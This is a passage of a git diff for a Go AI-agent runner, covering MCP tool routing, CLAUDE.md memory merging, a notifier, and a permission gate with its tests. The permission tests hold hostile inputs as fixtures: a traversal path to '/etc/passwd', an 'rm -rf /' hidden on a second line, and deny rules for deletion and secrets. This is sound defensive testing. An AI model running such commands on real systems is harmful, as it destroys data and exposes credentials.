t.Fatal(err) + } + t.Cleanup(func() { _ = ss.Close() }) + + client := sdk.NewClient(&sdk.Implementation{Name: "cli", Version: "v1"}, nil) + cs, err := client.Connect(ctx, ct, nil) + if err != nil { + t.Fatal(err) + } + conn := NewConn("demo", cs) + t.Cleanup(func() { _ = conn.Close() }) + return conn +} + +// Discovery: fully-qualified names, and the class default — read-only → read, +// untagged → execute (the conservative default, S5.1). +func TestDiscoverNamingAndClass(t *testing.T) { + conn := newTestConn(t) + tools, err := conn.Discover(context.Background()) + if err != nil { + t.Fatal(err) + } + byName := map[string]DiscoveredTool{} + for _, tl := range tools { + byName[tl.Name] = tl + } + peek, ok := byName["mcp__demo__peek"] + if !ok || peek.Class != classRead { + t.Errorf("peek = %+v, want read class under mcp__demo__peek", peek) + } + run, ok := byName["mcp__demo__run"] + if !ok || run.Class != classExecute { + t.Errorf("run = %+v, want execute class (untagged default)", run) + } + if len(peek.InputSchema) == 0 || !strings.Contains(string(peek.InputSchema), "object") { + t.Errorf("peek schema not captured: %s", peek.InputSchema) + } +} + +// Call dispatch renders content and surfaces the tool-level error flag. +func TestConnCall(t *testing.T) { + conn := newTestConn(t) + payload, isErr, err := conn.Call(context.Background(), "peek", nil) + if err != nil { + t.Fatal(err) + } + if isErr || !strings.Contains(string(payload), "peeked") { + t.Errorf("peek call = %s (isErr=%v)", payload, isErr) + } + // The untagged tool returns an MCP tool-level error → model-visible. + _, isErr, err = conn.Call(context.Background(), "run", json.RawMessage(`{}`)) + if err != nil { + t.Fatal(err) + } + if !isErr { + t.Errorf("run should report a tool-level error") + } +} + +// Manager: union discovery + allowed_tools narrowing, and Call defense in +// depth — a non-allowed tool is rejected even if invoked directly. +func TestManagerAllowedNarrowing(t *testing.T) { + m := NewManager() + if err := m.Add(newTestConn(t)); err != nil { + t.Fatal(err) + } + // Narrow to only the read tool. + m.SetAllowed([]string{"mcp__demo__peek"}) + + tools, err := m.Discover(context.Background()) + if err != nil { + t.Fatal(err) + } + if len(tools) != 1 || tools[0].Name != "mcp__demo__peek" { + t.Fatalf("narrowed discovery = %+v, want only peek", tools) + } + + // The un-advertised tool must be rejected at Call even if the model + // fabricates it (negative test, S5.1). + if _, _, err := m.Call(context.Background(), "mcp__demo__run", nil); err == nil || + !strings.Contains(err.Error(), "not permitted") { + t.Errorf("call to narrowed-out tool = %v, want 'not permitted'", err) + } + // The allowed tool still routes and executes. + payload, _, err := m.Call(context.Background(), "mcp__demo__peek", nil) + if err != nil || !strings.Contains(string(payload), "peeked") { + t.Errorf("allowed call failed: %s / %v", payload, err) + } +} + +func TestSplitName(t *testing.T) { + cases := map[string][2]string{ + "mcp__srv__tool": {"srv", "tool"}, + "mcp__srv__ns__nested": {"srv", "ns__nested"}, // only first sep splits + } + for in, want := range cases { + s, tl, ok := SplitName(in) + if !ok || s != want[0] || tl != want[1] { + t.Errorf("SplitName(%q) = (%q,%q,%v), want %v", in, s, tl, ok, want) + } + } + for _, bad := range []string{"read_file", "mcp__", "mcp__srv", "mcp__srv__"} { + if _, _, ok := SplitName(bad); ok { + t.Errorf("SplitName(%q) should fail", bad) + } + } +} + +func TestDuplicateServerRejected(t *testing.T) { + m := NewManager() + if err := m.Add(newTestConn(t)); err != nil { + t.Fatal(err) + } + if err := m.Add(newTestConn(t)); err == nil { + t.Error("duplicate server name must be rejected") + } +} diff --git a/internal/memory/memory.go b/internal/memory/memory.go new file mode 100644 index 0000000..e5f3f1b --- /dev/null +++ b/internal/memory/memory.go @@ -0,0 +1,91 @@ +// Package memory merges CLAUDE.md memory files hierarchically (S5.2): from +// the outermost ancestor (the git repo root, or the workspace itself when no +// repo encloses it) DOWN to the workspace root. Outer files render first and +// nearer files later, so the nearest instructions take precedence for the +// model. The merged text is frozen into RunStarted at session start — memory +// edits mid-run never rewrite the prompt prefix. +package memory + +import ( + "fmt" + "os" + "path/filepath" + "strings" +) + +// File is one discovered memory file. +type File struct { + Dir string // directory the CLAUDE.md was found in (absolute) + Content string +} + +// Collect walks from root upward to the enclosing git root (or stops at the +// filesystem root) and returns every CLAUDE.md found, ordered outermost +// first. Unreadable files are skipped. +func Collect(root string) ([]File, error) { + abs, err := filepath.Abs(root) + if err != nil { + return nil, fmt.Errorf("memory: %w", err) + } + // Gather candidate dirs innermost→outermost, stopping at the git root + // (inclusive) when one exists. + var dirs []string + dir := abs + for { + dirs = append(dirs, dir) + if isGitRoot(dir) { + break + } + parent := filepath.Dir(dir) + if parent == dir { + // No enclosing repo: only the workspace root itself counts — + // walking to / would hoover up unrelated ancestors. + dirs = dirs[:1] + break + } + dir = parent + } + // Render outermost first. + var out []File + for i := len(dirs) - 1; i >= 0; i-- { + raw, err := os.ReadFile(filepath.Join(dirs[i], "CLAUDE.md")) + if err != nil { + continue + } + out = append(out, File{Dir: dirs[i], Content: string(raw)}) + } + return out, nil +} + +func isGitRoot(dir string) bool { + _, err := os.Stat(filepath.Join(dir, ".git")) + return err == nil +} + +// Render merges collected files into one byte-stable memory block, each +// section labeled with its source path relative to the workspace root (or +// absolute when outside it). +func Render(files []File, root string) string { + if len(files) == 0 { + return "" + } + abs, err := filepath.Abs(root) + if err != nil { + abs = root + } + var b strings.Builder + b.WriteString("\n") + for i, f := range files { + label := f.Dir + if rel, err := filepath.Rel(abs, f.Dir); err == nil && !strings.HasPrefix(rel, "..") { + label = rel + } + if i > 0 { + b.WriteString("\n") + } + fmt.Fprintf(&b, "# CLAUDE.md (%s)\n%s", label, strings.TrimRight(f.Content, "\n")) + b.WriteString("\n") + } + b.WriteString("") + return b.String() +} diff --git a/internal/memory/memory_test.go b/internal/memory/memory_test.go new file mode 100644 index 0000000..a6e3255 --- /dev/null +++ b/internal/memory/memory_test.go @@ -0,0 +1,77 @@ +package memory + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +// A repo with CLAUDE.md at the git root, an intermediate level, and the +// workspace: all three collect, outermost first (nearest renders last, so +// nearest wins for the model). +func TestCollectHierarchyOrder(t *testing.T) { + repo := t.TempDir() + if err := os.MkdirAll(filepath.Join(repo, ".git"), 0o755); err != nil { + t.Fatal(err) + } + ws := filepath.Join(repo, "services", "api") + if err := os.MkdirAll(ws, 0o755); err != nil { + t.Fatal(err) + } + write := func(dir, text string) { + t.Helper() + if err := os.WriteFile(filepath.Join(dir, "CLAUDE.md"), []byte(text), 0o644); err != nil { + t.Fatal(err) + } + } + write(repo, "repo-level rules") + write(filepath.Join(repo, "services"), "services rules") + write(ws, "api rules") + + files, err := Collect(ws) + if err != nil { + t.Fatal(err) + } + if len(files) != 3 { + t.Fatalf("files = %+v", files) + } + if !strings.Contains(files[0].Content, "repo-level") || + !strings.Contains(files[1].Content, "services") || + !strings.Contains(files[2].Content, "api rules") { + t.Errorf("order wrong (want outermost first): %+v", files) + } + + block := Render(files, ws) + // Nearest content renders last. + if strings.Index(block, "repo-level") > strings.Index(block, "api rules") { + t.Errorf("nearest must render last:\n%s", block) + } + for _, want := range []string{"", ""} { + if !strings.Contains(block, want) { + t.Errorf("block missing %q", want) + } + } +} + +// Without an enclosing git repo, only the workspace root's own CLAUDE.md +// counts — the walk must not hoover up unrelated ancestors. +func TestCollectNoRepoStopsAtRoot(t *testing.T) { + ws := t.TempDir() + if err := os.WriteFile(filepath.Join(ws, "CLAUDE.md"), []byte("ws rules"), 0o644); err != nil { + t.Fatal(err) + } + files, err := Collect(ws) + if err != nil { + t.Fatal(err) + } + if len(files) != 1 || !strings.Contains(files[0].Content, "ws rules") { + t.Fatalf("files = %+v, want only the workspace's own", files) + } +} + +func TestRenderEmpty(t *testing.T) { + if Render(nil, ".") != "" { + t.Error("no files must render no block") + } +} diff --git a/internal/notify/notify.go b/internal/notify/notify.go new file mode 100644 index 0000000..bb86046 --- /dev/null +++ b/internal/notify/notify.go @@ -0,0 +1,127 @@ +// Package notify is the S6 模块⑤ notifier: lifecycle moments (run endings, +// pending approvals) become user notifications through a USER-configured +// shell command — the channel is a documented carve-out, project config +// never touches it — with a stderr line as the fallback. Delivery is +// deduplicated against the notifier's OWN event stream (NotificationSent), +// so restarts and startup reconciliation never double-notify. +package notify + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "os/exec" + "sync" + "time" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/store" +) + +// Notification is one lifecycle moment. Key is the dedup identity — the +// SAME moment must map to the same key on every path (live tee, startup +// reconciliation). +type Notification struct { + Key string `json:"key"` + Kind string `json:"kind"` + Session string `json:"session,omitempty"` + Text string `json:"text"` +} + +// commandTimeout bounds one delivery attempt; a hung channel command must +// not wedge the notifier goroutine forever. +const commandTimeout = 30 * time.Second + +// Notifier delivers deduplicated notifications. Safe for concurrent Notify. +type Notifier struct { + mu sync.Mutex + store *store.EventStore + sent map[string]bool + command []string + stderr io.Writer +} + +// Open loads the notifier stream at dir and folds the already-sent set. +// command is the user-configured channel argv (empty = stderr fallback +// only); the notification JSON arrives on the command's stdin. +func Open(dir string, command []string, stderr io.Writer) (*Notifier, error) { + es, err := store.OpenEventStore(dir) + if err != nil { + return nil, fmt.Errorf("notifier: %w", err) + } + events, err := store.ReadEvents(dir) + if err != nil { + _ = es.Close() + return nil, fmt.Errorf("notifier: %w", err) + } + sent := map[string]bool{} + for _, e := range events { + if e.Type != event.TypeNotificationSent { + continue + } + decoded, derr := event.DecodePayload(e) + if derr != nil { + continue + } + sent[decoded.(*event.NotificationSent).Key] = true + } + return &Notifier{store: es, sent: sent, command: command, stderr: stderr}, nil +} + +// Close releases the stream. +func (n *Notifier) Close() error { return n.store.Close() } + +// Seen reports whether a key was already notified (reconciliation reads it). +func (n *Notifier) Seen(key string) bool { + n.mu.Lock() + defer n.mu.Unlock() + return n.sent[key] +} + +// Notify delivers once per key: journal-before-send (a crash after the +// journal loses one notification rather than ever duplicating one — the +// journal is the dedup truth), then the command channel, stderr on failure. +func (n *Notifier) Notify(nt Notification) { + n.mu.Lock() + if n.sent[nt.Key] { + n.mu.Unlock() + return + } + n.sent[nt.Key] = true + channel := "stderr" + if len(n.command) > 0 { + channel = "command" + } + env, err := event.New(event.TypeNotificationSent, &event.NotificationSent{ + Key: nt.Key, Kind: nt.Kind, Session: nt.Session, Text: nt.Text, Channel: channel, + }) + if err == nil { + _, err = n.store.Append(env) + } + n.mu.Unlock() + if err != nil { + fmt.Fprintf(n.stderr, "notify: journal failed (%v); delivering anyway\n", err) + } + + if len(n.command) > 0 { + if derr := n.deliver(nt); derr == nil { + return + } else { + fmt.Fprintf(n.stderr, "notify: command failed: %v\n", derr) + } + } + fmt.Fprintf(n.stderr, "notify: [%s] %s\n", nt.Kind, nt.Text) +} + +// deliver runs the channel command with the notification JSON on stdin. +func (n *Notifier) deliver(nt Notification) error { + ctx, cancel := context.WithTimeout(context.Background(), commandTimeout) + defer cancel() + payload, _ := json.Marshal(nt) + cmd := exec.CommandContext(ctx, n.command[0], n.command[1:]...) + cmd.Stdin = bytes.NewReader(append(payload, '\n')) + cmd.Stderr = n.stderr + return cmd.Run() +} diff --git a/internal/notify/notify_test.go b/internal/notify/notify_test.go new file mode 100644 index 0000000..0fae7a6 --- /dev/null +++ b/internal/notify/notify_test.go @@ -0,0 +1,85 @@ +package notify + +import ( + "bytes" + "os" + "path/filepath" + "strings" + "testing" +) + +// Dedup holds within one Notifier AND across a reopen: the sent set folds +// from the notifier's own stream. +func TestNotifyDedupAcrossReopen(t *testing.T) { + dir := filepath.Join(t.TempDir(), "notifier") + outFile := filepath.Join(t.TempDir(), "delivered.log") + cmd := []string{"sh", "-c", "cat >> " + outFile} + + var errOut bytes.Buffer + n, err := Open(dir, cmd, &errOut) + if err != nil { + t.Fatal(err) + } + n.Notify(Notification{Key: "run_end/s1", Kind: "run_end", Session: "s1", Text: "run s1 completed"}) + n.Notify(Notification{Key: "run_end/s1", Kind: "run_end", Session: "s1", Text: "dup"}) + n.Notify(Notification{Key: "approval/s1/apr-1", Kind: "approval", Session: "s1", Text: "needs a decision"}) + if err := n.Close(); err != nil { + t.Fatal(err) + } + + raw, err := os.ReadFile(outFile) + if err != nil { + t.Fatal(err) + } + if got := strings.Count(string(raw), "\n"); got != 2 { + t.Fatalf("delivered %d lines, want 2 (dup dropped):\n%s", got, raw) + } + if !strings.Contains(string(raw), "run s1 completed") || strings.Contains(string(raw), `"dup"`) { + t.Fatalf("delivery content wrong:\n%s", raw) + } + + // Reopen: the journal remembers; the same keys stay silent. + n2, err := Open(dir, cmd, &errOut) + if err != nil { + t.Fatal(err) + } + defer func() { _ = n2.Close() }() + if !n2.Seen("run_end/s1") || !n2.Seen("approval/s1/apr-1") { + t.Fatal("sent set did not survive reopen") + } + n2.Notify(Notification{Key: "run_end/s1", Kind: "run_end", Text: "post-restart dup"}) + raw2, _ := os.ReadFile(outFile) + if strings.Contains(string(raw2), "post-restart dup") { + t.Fatal("dedup failed across restart") + } +} + +// No command configured → the stderr fallback carries the notification. +func TestNotifyStderrFallback(t *testing.T) { + var errOut bytes.Buffer + n, err := Open(filepath.Join(t.TempDir(), "n"), nil, &errOut) + if err != nil { + t.Fatal(err) + } + defer func() { _ = n.Close() }() + n.Notify(Notification{Key: "k1", Kind: "run_end", Text: "the run ended"}) + if !strings.Contains(errOut.String(), "the run ended") { + t.Fatalf("stderr fallback missing: %q", errOut.String()) + } +} + +// A failing command falls back to stderr — the notification is never +// silently lost. +func TestNotifyCommandFailureFallsBack(t *testing.T) { + var errOut bytes.Buffer + n, err := Open(filepath.Join(t.TempDir(), "n"), []string{"false"}, &errOut) + if err != nil { + t.Fatal(err) + } + defer func() { _ = n.Close() }() + n.Notify(Notification{Key: "k1", Kind: "approval", Text: "please decide"}) + out := errOut.String() + if !strings.Contains(out, "command failed") || !strings.Contains(out, "please decide") { + t.Fatalf("fallback missing: %q", out) + } +} diff --git a/internal/pipeline/budget.go b/internal/pipeline/budget.go new file mode 100644 index 0000000..3414d9f --- /dev/null +++ b/internal/pipeline/budget.go @@ -0,0 +1,50 @@ +package pipeline + +import ( + "context" + "fmt" +) + +// Class price list (3.7b): coarse token-equivalents for tool accounting. +// LLM effects reserve their real max_tokens; these cover everything else. +var classEstTokens = map[string]int{ + "read": 500, + "edit": 1000, + "execute": 2000, + "wait": 0, +} + +// EstTokensForClass returns the reservation basis for a tool class. +func EstTokensForClass(class string) int { + return classEstTokens[class] +} + +// BudgetView is the live accounting the loop snapshots from the fold at +// adjudication time: settled usage plus outstanding reservations. The +// reserve-then-settle discipline makes concurrent adjudication safe — a +// second effect sees the first's reservation, not just its settled cost +// (the 3.7d TOCTOU property). +type BudgetView struct { + SettledTokens int + ReservedTokens int +} + +// BudgetGate denies effects whose reservation would break the run budget. +// Bypass mode does not bind (3.6d) — hooks still run, budget does not. +type BudgetGate struct { + MaxTotalTokens int // 0 = unlimited +} + +func (g *BudgetGate) Name() string { return "budget" } + +func (g *BudgetGate) Check(_ context.Context, eff Effect) Decision { + if g.MaxTotalTokens <= 0 || eff.Mode == ModeBypass { + return Allow + } + projected := eff.Budget.SettledTokens + eff.Budget.ReservedTokens + eff.EstTokens + if projected > g.MaxTotalTokens { + return Deny(fmt.Sprintf("token budget exhausted: settled %d + reserved %d + est %d > limit %d", + eff.Budget.SettledTokens, eff.Budget.ReservedTokens, eff.EstTokens, g.MaxTotalTokens)) + } + return Allow +} diff --git a/internal/pipeline/mode.go b/internal/pipeline/mode.go new file mode 100644 index 0000000..844024e --- /dev/null +++ b/internal/pipeline/mode.go @@ -0,0 +1,38 @@ +package pipeline + +// Mode data model (3.6a): a mode is a tool-face filter plus per-class +// defaults (permission.go) plus a prompt suffix (owned by the agent +// layer). Everything here is a pure table. + +// ClassAdvertised reports whether tools of a class are shown to the model +// at all in the given mode. Filtering the advertised face is the first +// line; the permission gate's mode defaults are the second (double door — +// a model hallucinating a hidden tool still gets denied). +func ClassAdvertised(mode, class string) bool { + if mode == ModePlan { + return class == "read" || class == "wait" + } + return true +} + +// ValidTransition is the 3.6c rule table. Bypass is not a runtime +// transition — it can only be selected at process start (CLI flag). +func ValidTransition(from, to string) bool { + switch [2]string{from, to} { + case [2]string{ModePlan, ModeDefault}: // via approved exit_plan_mode + return true + case [2]string{ModeDefault, ModeAcceptEdits}, // user command (S4 interactive) + [2]string{ModeAcceptEdits, ModeDefault}: + return true + } + return false +} + +// ValidMode reports whether the name is a known mode. +func ValidMode(mode string) bool { + switch mode { + case ModeDefault, ModePlan, ModeAcceptEdits, ModeBypass: + return true + } + return false +} diff --git a/internal/pipeline/permission.go b/internal/pipeline/permission.go new file mode 100644 index 0000000..0cd2091 --- /dev/null +++ b/internal/pipeline/permission.go @@ -0,0 +1,266 @@ +package pipeline + +import ( + "context" + "encoding/json" + "fmt" + "regexp" + "strings" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// PermissionRule is one row of the permissions list (3.3). Sources are +// concatenated user > project > spec and the FIRST matching rule wins — +// order is precedence. +type PermissionRule struct { + Tool string `yaml:"tool,omitempty"` // exact tool name; empty = any + Path string `yaml:"path,omitempty"` // glob over the workspace-relative path (** crosses /) + Command string `yaml:"command,omitempty"` // glob over the whole command (* matches anything) + Action string `yaml:"action"` // allow | ask | deny +} + +// Run modes and their no-rule-matched defaults per tool class. +const ( + ModeDefault = "default" + ModePlan = "plan" + ModeAcceptEdits = "acceptEdits" + ModeBypass = "bypass" +) + +// PermissionGate adjudicates tool effects against the rule list, falling +// back to the mode's per-class defaults. +type PermissionGate struct { + Rules []PermissionRule + Mode string // empty = ModeDefault + WS *workspace.Workspace +} + +func (g *PermissionGate) Name() string { return "permission" } + +func (g *PermissionGate) Check(_ context.Context, eff Effect) Decision { + if eff.Kind != "tool_call" { + return Allow // LLM calls are budget's business (3.7) + } + + // Hard denials that NO rule may override run first (they also live in + // FloorGate, ahead of hooks; this is defense in depth). + if d, hard := g.hardFloor(eff); hard { + return d + } + + args := effArgs(eff) + relPath, _ := g.resolveRel(args.Path) + + // exit_plan_mode is transition policy, not rule material: leaving plan + // mode always requires approval (3.6c); outside plan it is meaningless. + if eff.ToolName == "exit_plan_mode" { + if g.effectiveMode(eff) == ModePlan { + return Ask("exit plan mode → default") + } + return Deny("not in plan mode") + } + + for i, rule := range g.Rules { + if rule.matches(eff.ToolName, relPath, args.Path, args.Command) { + switch rule.Action { + case event.VerdictAllow: + return Allow + case event.VerdictAsk: + return Ask(fmt.Sprintf("rule %d: %s", i+1, rule.describe())) + case event.VerdictDeny: + return Deny(fmt.Sprintf("rule %d: %s", i+1, rule.describe())) + default: + return Deny(fmt.Sprintf("rule %d has invalid action %q", i+1, rule.Action)) + } + } + } + return modeDefault(g.effectiveMode(eff), eff.Class) +} + +// hardFloor returns the unconditional denials that precede rules AND mode +// defaults: a workspace escape, and plan mode's edit/execute prohibition. +// No permission rule and no mode (not even bypass, for the escape) may +// override these. exit_plan_mode is exempt from the plan-mode floor — it +// is the sanctioned way out. +func (g *PermissionGate) hardFloor(eff Effect) (Decision, bool) { + args := effArgs(eff) + if _, escaped := g.resolveRel(args.Path); escaped { + return Deny(fmt.Sprintf("path escapes workspace: %s", args.Path)), true + } + if g.effectiveMode(eff) == ModePlan && eff.ToolName != "exit_plan_mode" && + (eff.Class == "edit" || eff.Class == "execute") { + return Deny("plan mode: " + eff.Class + " tools are disabled (no rule can override)"), true + } + return Decision{}, false +} + +// FloorGate enforces the hard-deny floor BEFORE any other gate (hooks +// included), so a to-be-denied effect never triggers a side-effecting +// pre-hook and no rule can grant what the floor forbids. It is pure. +type FloorGate struct { + Mode string + WS *workspace.Workspace +} + +func (g *FloorGate) Name() string { return "floor" } + +func (g *FloorGate) Check(_ context.Context, eff Effect) Decision { + if eff.Kind != "tool_call" { + return Allow + } + pg := &PermissionGate{Mode: g.Mode, WS: g.WS} + if d, hard := pg.hardFloor(eff); hard { + return d + } + return Allow +} + +// effectiveMode prefers the effect's mode (live fold state — the mode can +// change mid-run) over the gate's construction-time fallback. +func (g *PermissionGate) effectiveMode(eff Effect) string { + if eff.Mode != "" { + return eff.Mode + } + if g.Mode == "" { + return ModeDefault + } + return g.Mode +} + +// modeDefault is the no-rule-matched policy table (S3 执行包). Bypass +// allows everything; otherwise read/wait always allow and any UNKNOWN +// class fails closed (never a silent allow for an unclassified tool). +func modeDefault(mode, class string) Decision { + if mode == ModeBypass { + return Allow + } + if class == "read" || class == "wait" { + return Allow + } + known := class == "edit" || class == "execute" + switch mode { + case ModePlan: + if known { + return Deny("plan mode: " + class + " tools are disabled") + } + return Deny("plan mode: unclassified tool disabled") + case ModeAcceptEdits: + if class == "edit" { + return Allow + } + if class == "execute" { + return Ask("execute requires approval") + } + return Ask("unclassified tool requires approval") + default: // ModeDefault + if known { + return Ask(class + " requires approval") + } + return Ask("unclassified tool requires approval") + } +} + +type toolArgs struct { + Path string `json:"path"` + Command string `json:"command"` +} + +func effArgs(eff Effect) toolArgs { + var args toolArgs + _ = json.Unmarshal(eff.Args, &args) // malformed args fail at execution; gate on what parses + return args +} + +// resolveRel maps the tool's path arg to a workspace-relative path. +// escaped=true means the path resolves outside the workspace. +func (g *PermissionGate) resolveRel(path string) (string, bool) { + if path == "" || g.WS == nil { + return "", false + } + abs, err := g.WS.Resolve(path) + if err != nil { + return "", true + } + rel := strings.TrimPrefix(abs, g.WS.Root()) + return strings.TrimPrefix(rel, "/"), false +} + +func (r PermissionRule) matches(toolName, relPath, rawPath, command string) bool { + if r.Tool != "" && r.Tool != toolName { + return false + } + if r.Path != "" { + if rawPath == "" || !globMatch(r.Path, relPath, true) { + return false + } + } + if r.Command != "" { + if command == "" || !globMatch(r.Command, command, false) { + return false + } + } + return true +} + +func (r PermissionRule) describe() string { + parts := []string{} + if r.Tool != "" { + parts = append(parts, "tool="+r.Tool) + } + if r.Path != "" { + parts = append(parts, "path="+r.Path) + } + if r.Command != "" { + parts = append(parts, "command="+r.Command) + } + if len(parts) == 0 { + parts = append(parts, "any") + } + return strings.Join(parts, " ") + " → " + r.Action +} + +// globMatch translates a glob to a regexp. Path semantics (pathish=true): +// `*`/`?` stop at "/", `**` crosses. Command semantics: `*` matches +// anything including spaces and slashes. +func globMatch(pattern, s string, pathish bool) bool { + var sb strings.Builder + // (?s): `.`/`.*` cross newlines, so a command deny rule cannot be + // evaded by putting the dangerous part on a second line. (?i) on paths + // closes case-folding evasion on case-insensitive filesystems. + if pathish { + sb.WriteString("(?is)^") + } else { + sb.WriteString("(?s)^") + } + for i := 0; i < len(pattern); i++ { + switch c := pattern[i]; c { + case '*': + if pathish { + if i+1 < len(pattern) && pattern[i+1] == '*' { + sb.WriteString(".*") + i++ + } else { + sb.WriteString("[^/]*") + } + } else { + sb.WriteString(".*") + } + case '?': + if pathish { + sb.WriteString("[^/]") + } else { + sb.WriteString(".") + } + default: + sb.WriteString(regexp.QuoteMeta(string(c))) + } + } + sb.WriteString("$") + re, err := regexp.Compile(sb.String()) + if err != nil { + return false + } + return re.MatchString(s) +} diff --git a/internal/pipeline/permission_test.go b/internal/pipeline/permission_test.go new file mode 100644 index 0000000..d518daf --- /dev/null +++ b/internal/pipeline/permission_test.go @@ -0,0 +1,199 @@ +package pipeline + +import ( + "context" + "encoding/json" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/workspace" +) + +func toolEffect(name, class string, args string) Effect { + return Effect{ID: "eff-x", Kind: "tool_call", ToolName: name, Class: class, + Args: json.RawMessage(args), CallID: "call_1_0"} +} + +func newPermWS(t *testing.T) *workspace.Workspace { + t.Helper() + ws, err := workspace.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + return ws +} + +func TestPermissionRulesTable(t *testing.T) { + ws := newPermWS(t) + rules := []PermissionRule{ + {Tool: "bash", Command: "go test *", Action: "allow"}, + {Tool: "bash", Command: "rm *", Action: "deny"}, + {Tool: "edit_file", Path: "src/**", Action: "allow"}, + {Tool: "edit_file", Path: "*.md", Action: "allow"}, + {Tool: "read_file", Path: "secrets/*", Action: "deny"}, + {Action: "ask"}, // catch-all + } + g := &PermissionGate{Rules: rules, WS: ws} + + cases := []struct { + name string + eff Effect + want string + }{ + {"command glob allow", toolEffect("bash", "execute", `{"command":"go test ./..."}`), event.VerdictAllow}, + {"command glob deny", toolEffect("bash", "execute", `{"command":"rm -rf build"}`), event.VerdictDeny}, + {"command falls to catch-all", toolEffect("bash", "execute", `{"command":"make lint"}`), event.VerdictAsk}, + {"doublestar path allow", toolEffect("edit_file", "edit", `{"path":"src/a/b/c.go","old":"x","new":"y"}`), event.VerdictAllow}, + {"singlestar no slash", toolEffect("edit_file", "edit", `{"path":"README.md"}`), event.VerdictAllow}, + {"singlestar rejects slash", toolEffect("edit_file", "edit", `{"path":"docs/x.md"}`), event.VerdictAsk}, + {"path deny", toolEffect("read_file", "read", `{"path":"secrets/key.pem"}`), event.VerdictDeny}, + {"llm effects pass through", Effect{ID: "eff-llm-t1", Kind: "llm_call"}, event.VerdictAllow}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if got := g.Check(context.Background(), tc.eff); got.Action != tc.want { + t.Errorf("decision = %+v, want %s", got, tc.want) + } + }) + } +} + +// First match wins: an early ask shadows a later allow. +func TestPermissionFirstMatchWins(t *testing.T) { + g := &PermissionGate{WS: newPermWS(t), Rules: []PermissionRule{ + {Tool: "bash", Command: "go *", Action: "ask"}, + {Tool: "bash", Command: "go test *", Action: "allow"}, + }} + d := g.Check(context.Background(), toolEffect("bash", "execute", `{"command":"go test ./..."}`)) + if d.Action != event.VerdictAsk { + t.Fatalf("decision = %+v, want first rule's ask", d) + } +} + +// The PLAN-mandated case: a traversal path is denied before any rule or +// mode default can apply — even in bypass mode. +func TestPermissionEscapeDeniedEvenInBypass(t *testing.T) { + for _, mode := range []string{ModeDefault, ModeBypass, ModePlan, ModeAcceptEdits} { + g := &PermissionGate{WS: newPermWS(t), Mode: mode, Rules: []PermissionRule{{Action: "allow"}}} + d := g.Check(context.Background(), toolEffect("read_file", "read", `{"path":"src/../../etc/passwd"}`)) + if d.Action != event.VerdictDeny || !strings.Contains(d.Reason, "escapes workspace") { + t.Errorf("mode %s: decision = %+v, want escape denial", mode, d) + } + } +} + +// The no-rule-matched mode default table, every cell. +func TestPermissionModeDefaults(t *testing.T) { + cases := []struct { + mode, class string + want string + }{ + {ModeDefault, "read", event.VerdictAllow}, + {ModeDefault, "edit", event.VerdictAsk}, + {ModeDefault, "execute", event.VerdictAsk}, + {ModeDefault, "wait", event.VerdictAllow}, + {ModePlan, "read", event.VerdictAllow}, + {ModePlan, "edit", event.VerdictDeny}, + {ModePlan, "execute", event.VerdictDeny}, + {ModePlan, "wait", event.VerdictAllow}, + {ModeAcceptEdits, "read", event.VerdictAllow}, + {ModeAcceptEdits, "edit", event.VerdictAllow}, + {ModeAcceptEdits, "execute", event.VerdictAsk}, + {ModeBypass, "read", event.VerdictAllow}, + {ModeBypass, "edit", event.VerdictAllow}, + {ModeBypass, "execute", event.VerdictAllow}, + } + ws := newPermWS(t) + for _, tc := range cases { + t.Run(tc.mode+"/"+tc.class, func(t *testing.T) { + g := &PermissionGate{Mode: tc.mode, WS: ws} + d := g.Check(context.Background(), toolEffect("any_tool", tc.class, `{}`)) + if d.Action != tc.want { + t.Errorf("decision = %+v, want %s", d, tc.want) + } + }) + } +} + +// A rule with both path and command requires both to match. +func TestPermissionRuleConjunction(t *testing.T) { + g := &PermissionGate{WS: newPermWS(t), Rules: []PermissionRule{ + {Tool: "bash", Command: "cat *", Path: "logs/**", Action: "allow"}, + }} + // bash has no path arg → path clause cannot match → falls to default ask. + d := g.Check(context.Background(), toolEffect("bash", "execute", `{"command":"cat logs/x"}`)) + if d.Action != event.VerdictAsk { + t.Fatalf("decision = %+v", d) + } +} + +// Empty tool matches any tool. +func TestPermissionEmptyToolMatchesAny(t *testing.T) { + g := &PermissionGate{WS: newPermWS(t), Rules: []PermissionRule{{Action: "deny"}}} + d := g.Check(context.Background(), toolEffect("read_file", "read", `{"path":"a.txt"}`)) + if d.Action != event.VerdictDeny { + t.Fatalf("decision = %+v", d) + } +} + +// Security review: a command deny rule must not be evadable by putting the +// dangerous part on a second line (regex `.` must cross newlines). +func TestCommandDenyResistsNewlineEvasion(t *testing.T) { + g := &PermissionGate{WS: newPermWS(t), Rules: []PermissionRule{ + {Tool: "bash", Command: "*rm -rf*", Action: "deny"}, + }} + d := g.Check(context.Background(), toolEffect("bash", "execute", + `{"command":"git status\nrm -rf /"}`)) + if d.Action != event.VerdictDeny { + t.Fatalf("newline-hidden command evaded deny: %+v", d) + } +} + +// Security review: plan mode's edit/execute prohibition cannot be overridden +// by an allow rule (the hard floor precedes the rule list). +func TestPlanModeDenyUnbypassableByRule(t *testing.T) { + g := &PermissionGate{WS: newPermWS(t), Mode: ModePlan, Rules: []PermissionRule{ + {Tool: "edit_file", Action: "allow"}, + {Tool: "bash", Action: "allow"}, + }} + for _, tc := range []struct{ tool, class string }{ + {"edit_file", "edit"}, {"bash", "execute"}, + } { + d := g.Check(context.Background(), toolEffect(tc.tool, tc.class, `{"path":"a.txt"}`)) + if d.Action != event.VerdictDeny { + t.Errorf("plan mode %s allowed by rule: %+v", tc.tool, d) + } + } + // exit_plan_mode is exempt (the sanctioned way out). + if d := g.Check(context.Background(), toolEffect("exit_plan_mode", "wait", `{}`)); d.Action != event.VerdictAsk { + t.Errorf("exit_plan_mode in plan mode = %+v, want ask", d) + } +} + +// FloorGate short-circuits hard denials before any later (side-effecting) gate. +func TestFloorGatePrecedesHooks(t *testing.T) { + ws := newPermWS(t) + floor := &FloorGate{WS: ws, Mode: ModePlan} + d := floor.Check(context.Background(), toolEffect("edit_file", "edit", 